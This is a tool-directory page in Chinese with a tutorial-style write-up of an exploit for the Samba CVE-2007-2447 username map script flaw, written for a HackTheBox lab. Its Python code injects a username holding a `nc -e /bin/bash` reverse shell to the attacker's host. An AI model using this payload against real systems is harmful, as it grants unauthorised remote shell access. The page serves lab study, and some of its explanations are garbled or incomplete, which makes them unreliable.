Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2007-2447 — CVE-2007-2447 Samba 3.0.20-3.0.25rc 用户名映射脚本命令执行漏洞的教学性利用实现,包含 Python SMB 客户端载荷和 netcat 反弹 shell。 | Kitploit
工具/GitHubGitHub/foudadev/cve-2007-2447
漏洞分析漏洞利用渗透测试命令与控制学习与教育远程访问工具Payload 开发二进制利用实验室与实践
GitHubfoudadev/cve-2007-2447

CVE-2007-2447

CVE-2007-2447 Samba 3.0.20-3.0.25rc 用户名映射脚本命令执行漏洞的教学性利用实现,包含 Python SMB 客户端载荷和 netcat 反弹 shell。

112年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

ExploitDev 之旅 #6 | CVE-2007-2447 | Samba 3.0.20 < 3.0.25rc 'Username' map script' 命令执行

原始漏洞利用:https://www.exploit-db.com/exploits/16320

漏洞利用名称: Samba username map script RCE
CVE: 2007-2447
靶机: Lame - HackTheBox

描述

在低于 3.0.25 的 Samba 版本中存在一个漏洞,攻击者可以通过向 SMB 服务器发送畸形的请求作为用户名来执行系统命令。


工作原理

以下是使用 nohup 命令创建目录的示例:

从编程角度来说,/= 表示除法赋值运算符,通常用于循环中。但为什么我们需要在这里使用它?
使用它的原因是在发送请求时分割域字段和用户名字段,更好的解释可以在这里找到。 我们使用用户名字段打开一个 netcat 连接并连接到我们的服务器。


编写漏洞利用代码

编写漏洞利用非常简单,因为 Python 已经有了一个 SMB 客户端库(安装 python3-samba 包),所以你只需要像这样使用它:

root@kitploit:~
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')

try:
    print("Sending payload")
    conn.connect(rhost, rport, timeout=10)
except Exception as e:
    sys.exit(e)

让我们理解 SMBConnection 是如何工作的,我提供了 username,但另外三个空字符串是什么?
那三个参数是:password、my_name 和 remote_name

为了使我们的漏洞利用代码易于阅读,我们可以显式地写出它们及其值,但 username 之后的参数值不是必需的:

root@kitploit:~
conn = SMBConnection(username=username, password='', my_name='', remote_name='')

接下来的部分更容易理解,我们使用 SMBConnection 类的实例建立连接,并提供目标 IP、端口和超时时间(秒):

root@kitploit:~
conn.connect(rhost, rport, timeout=10)

最后总结

在这次漏洞利用开发课程中,你学习了如何创建一个 SMB 客户端并连接到 SMB 服务器。你还学习了一些 Linux 命令,例如 nohup,之后可以尝试实验。你学习了如何使用 netcat 从受害机器连接到攻击者机器,这在你的漏洞利用开发旅程中可能会派上用场。

下载工具